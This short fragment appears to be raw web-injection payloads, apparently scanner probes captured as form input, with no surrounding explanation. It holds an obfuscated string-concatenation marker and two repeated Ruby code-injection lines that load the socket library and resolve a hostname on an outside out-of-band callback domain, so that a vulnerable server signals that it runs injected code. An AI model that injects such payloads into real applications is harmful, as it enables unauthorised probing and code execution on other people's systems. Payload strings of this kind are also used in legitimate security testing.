"+"A".concat(70-3).concat(22*4).concat(97).concat(69).concat(112).concat(68)+(require"socket"
Socket.gethostbyname("hitkw"+"ppgpsaqud44b3.bxss.me.")[3].to_s)+"
Socket.gethostbyname("hitkw"+"ppgpsaqud44b3.bxss.me.")[3].to_s)+"
0